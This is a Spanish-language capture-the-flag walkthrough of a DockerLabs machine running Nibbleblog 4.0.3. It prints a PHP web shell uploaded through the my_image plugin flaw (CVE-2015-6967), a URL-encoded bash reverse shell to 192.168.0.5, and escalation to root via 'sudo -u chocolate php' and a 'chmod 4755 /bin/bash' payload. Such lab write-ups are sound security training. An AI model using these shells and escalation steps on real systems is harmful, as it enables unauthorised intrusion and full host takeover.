Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.
Descargamos el archivo de la página dockerlabs.es/#
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos
Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.
Al realizar el escaneo de puertos podemos observar que solo nos muestra un puerto abierto.
Escaneamos usando gobuster
para encontrar algún subdirectorio o archivo que nos pueda brindar ayuda, pero no nos brinda ningún resultado.
Nos dirigimos a la página web, podemos observar que se trata del inicio del servidor apache y no hay nada fuera de lo común.
Usamos wappalyzer
para poder ver si nos da alguna información mediante la cual explotar, pero no vemos nada útil.
Nos ponemos a inspeccionar la página para ver si hay algún archivo o cookie que indique alguna actividad que no identificamos y podemos observar un directorio que está comentado.
Nos dirigimos al directorio /nibbleblog
y podemos observar una página con un enlace que lleva a un /admin.php
.
Al dirigirnos a la página de admin podemos ver que es un login.
Antes de empezar a probar una inyección SQL, probaremos con credenciales genéricas, probamos admin:admin y podemos observar que era la correcta.
Para saber más de que se trata podemos ver que
Revisando en settings podemos ver que encontramos la versión del CMS 4.0.3.
Revisando la versión encontramos que tiene un CVE mediante el cual se puede subir un archivo y ejecutar código arbitrario haciendo uso del plugin my_image
. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6967
Con conocimiento de ello subiremos un archivo de shell sencilla para probar. Nuestro archivo a subir será shell.php
<?php system($_GET["cmd"]); ?>
Al dirigirnos a plugins podemos ver que no tenemos el plugin my_image instalado.
Pero si vamos más abajo podemos ver que lo tenemos disponible, probamos instalando y vemos que instala sin problemas.
Una vez instalado nos dirige a la siguiente página y podemos subir el archivo.
Una vez seleccionado el archivo guardamos los cambios.
Cuando guarden los cambios debemos recordar que la descripción del CVE indicaba donde se subiría el archivo.
Agregando a nuestro archivo sería el siguiente, debemos notar que debemos usar image.php, ya que se reemplaza de manera automática sin importar el nombre del archivo con el que subimos.(en nuestro caso era shell.php)
http://172.17.0.2/nibbleblog/content/private/plugins/my_image/image.php
Una vez ingresamos podemos ver que tenemos acceso a la página.
Para facilitar el manejo estableceremos un revshell para poder movernos de manera más práctica. Para ello lo que haremos es iniciar nuestro listener con nc
.
Ahora agregamos la revshell al URL para poder obtener acceso, nuestro código sería
bash -c \ "bash -i >& /dev/tcp/192.168.0.5/1234 0>&1\ "'
Pero no podemos enviarlo así, ya que suele dar errores en muchas ocasiones, por ello lo URL encodeamos y tendríamos de la siguiente manera
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.5%2F1234%200%3E%261%22
luego de enviarlo por el navegador podemos ver que ya tenemos acceso el URL se vería así
http://172.17.0.2/nibbleblog/content/private/plugins/my_image/image.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.5%2F1234%200%3E%261%22
y en nuestro listener podemos observar que ya tenemos acceso.
Para mejorar el movimiento en la consola migramos la shell primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola, seguida de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
luego de ello ya podemos usar las flechas para movernos al comando anterior, así como usar abreviaciones como ctrl+l, ctrl +c.
Una vez estable la shell usamos sudo -l
y podemos observar que es posible usar los permisos SUID PHP para elevar privilegios, pero solo para ejecutarlo como el usuario chocolate
.
Si vamos a GFTOBins
podemos observar como se realizaría el proceso https://gtfobins.github.io/gtfobins/php/#sudo.
Probamos en hacerlo, pero no es posible, ya que esta manera es para root.
Para poder solucionar ello debemos tener en cuenta que era para el usuario chocolate, así que agregando el user sería de este modo y ya tendríamos acceso pero como user chocolate.
CMD="/bin/sh"
sudo -u chocolate php -r "system('$CMD');"
Vamos a la raíz y listamos permisos SUID, pero no podemos ver algo que nos sea de ayuda.
Listamos por capabilities, pero tampoco encontramos algo útil.
Ya que estamos en la raíz buscando archivos, si vamos al directorio opt
podemos ver que tenemos un archivo llamado script.php.
Listamos para ver los permisos, y podemos observar que tenemos esos permisos.
Ya que podemos modificar y recordando que se puede ejecutar PHP para obtener root realizamos la siguiente modificación, y como no podemos observar el archivo, si usamos nano usaremos echo para agregar el archivo.
echo '<?php exec("chmod 4755 /bin/bash"); ?>' > script.php
Lo que hace este script es cambiar los permisos de /bin/bash
para que tenga los permisos 4755
. Aquí está el desglose de estos permisos:
4
- SUID bit: Permite que el archivo se ejecute con los permisos del propietario del archivo.7
- Permisos de lectura, escritura y ejecución para el propietario.5
- Permisos de lectura y ejecución para el grupo.5
- Permisos de lectura y ejecución para otros. De esta manera ya lo tendríamos.
Simplemente, hacemos un bash -p
y ya tenemos acceso root.
De esta manera concluiríamos la máquina.